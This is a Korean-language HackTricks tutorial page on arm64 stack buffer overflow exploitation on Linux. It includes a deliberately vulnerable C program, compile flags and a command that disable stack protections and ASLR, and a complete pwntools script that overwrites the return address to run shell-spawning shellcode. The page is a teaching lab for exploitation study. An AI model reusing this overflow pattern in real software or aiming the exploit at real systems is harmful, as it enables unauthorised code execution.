Stack Shellcode - arm64

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

arm64에 대한 소개는 다음에서 찾을 수 있습니다:

Introduction to ARM64v8

Linux

Code

c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

pie, canary 및 nx 없이 컴파일:

bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

ASLR 없음 & canary 없음 - Stack Overflow

ASLR를 중지하려면 다음을 실행하세요:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

bof의 offset을 확인하려면 이 링크를 확인하세요.

Exploit:

python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

여기서 찾기 "복잡한" 유일한 부분은 호출할 stack의 주소입니다. 제 경우에는 gdb로 찾은 주소로 exploit을 생성했지만, 실제로 실행해보니 작동하지 않았습니다(왜냐하면 stack 주소가 약간 바뀌었기 때문입니다).

생성된 core file (gdb ./bog ./core)을 열어 shellcode 시작의 실제 주소를 확인했습니다.

macOS

tip

macOS에서는 NX를 비활성화할 수 없습니다. arm64에서는 이 모드가 하드웨어 수준에서 구현되어 있어 비활성화할 수 없으므로 macOS에서는 stack에 shellcode가 있는 예제를 찾기 어렵습니다.

다음에서 macOS ret2win 예제를 확인하세요:

Ret2win - arm64

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기